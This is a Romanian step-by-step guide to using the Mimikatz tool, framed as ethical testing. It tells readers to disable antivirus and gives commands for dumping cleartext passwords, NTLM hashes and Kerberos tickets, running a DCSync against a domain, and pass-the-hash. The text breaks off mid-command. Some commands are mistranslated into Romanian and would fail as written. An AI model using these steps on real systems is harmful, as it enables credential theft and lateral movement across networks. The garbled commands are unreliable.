Introducere

Mimikatz este un instrument puternic de post-exploatare conceput pentru a extrage parole în text clar, hașuri, coduri PIN și tichete Kerberos din memorie. Acesta este utilizat pe scară largă de către testeri de penetrare și profesioniști în securitate pentru a evalua vulnerabilitățile sistemului. Acest ghid oferă o abordare pas cu pas a instalării și utilizării Mimikatz pentru testarea etică a securității.

Avertisment: Utilizarea neautorizată a Mimikatz este ilegală. Asigurați-vă că aveți permisiunea înainte de a-l utiliza în orice mediu.

Condiții prealabile

Înainte de a instala Mimikatz, asigurați-vă că aveți următoarele:

  • O mașină Windows(Windows 7 , 10, 11 sau versiunile Server)
  • Privilegii administrative
  • Windows Defender și orice software antivirus dezactivat (Mimikatz este adesea marcat ca malware)

Descărcarea Mimikatz

Mimikatz este un instrument open-source disponibil pe GitHub. Pentru a-l descărca:

  1. Deschideți un browser web și mergeți la https://github.com/gentilkiwi/mimikatz.
  2. Faceți clic pe Code > Download ZIP.
  3. Extrageți fișierul ZIP într-un folder la alegere.

Alternativ, puteți clona depozitul utilizând Git:

 git clone https://github.com/gentilkiwi/mimikatz.git

Rularea Mimikatz

Deoarece Mimikatz necesită privilegii administrative, urmați acești pași pentru a-l rula:

  1. Deschideți Command Prompt sau PowerShell ca administrator.
  2. Navigați la folderul în care ați extras Mimikatz:
    cd path\to\mimikatz\x64
  3. Rulați Mimikatz:
    mimikatz.exe
  4. Ar trebui să vedeți o interfață de linie de comandă cu mimikatz # prompt.

Comenzi de bază Mimikatz

1. Verificarea privilegiilor sistemului

Înainte de a extrage acreditările, verificați dacă aveți suficiente privilegii:

privilegiu::debug

În caz de succes, ar trebui să vedeți: Privilegiul '20' OK

2. Extragerea parolelor din memorie

Pentru a extrage parolele în text clar din memorie, utilizați:

sekurlsa::logonpasswords

Aceasta va afișa numele de utilizator, domeniul și parolele în text clar, dacă sunt disponibile.

3. Descărcarea hașurilor NTLM

Hashes-urile NTLM pot fi utilizate pentru atacuri de tip pass-the-hash. Pentru a le extrage, executați:

lsadump::sam

Sau, pentru sisteme la distanță:

lsadump::dcsync /domain:targetdomain.com /user:Administrator

4. Extragerea biletelor Kerberos

Pentru a extrage biletele Kerberos din sistem:

sekurlsa::bilete /export

Acest lucru exportă fișiere .kirbi, care pot fi utilizate în atacuri de tip pass-the-ticket.

5. Atacul Pass-the-Hash

Pentru a vă autentifica cu un hash NTLM în locul unei parole:

sekurlsa::pth /user:Administrator /domain:example.com /ntlm: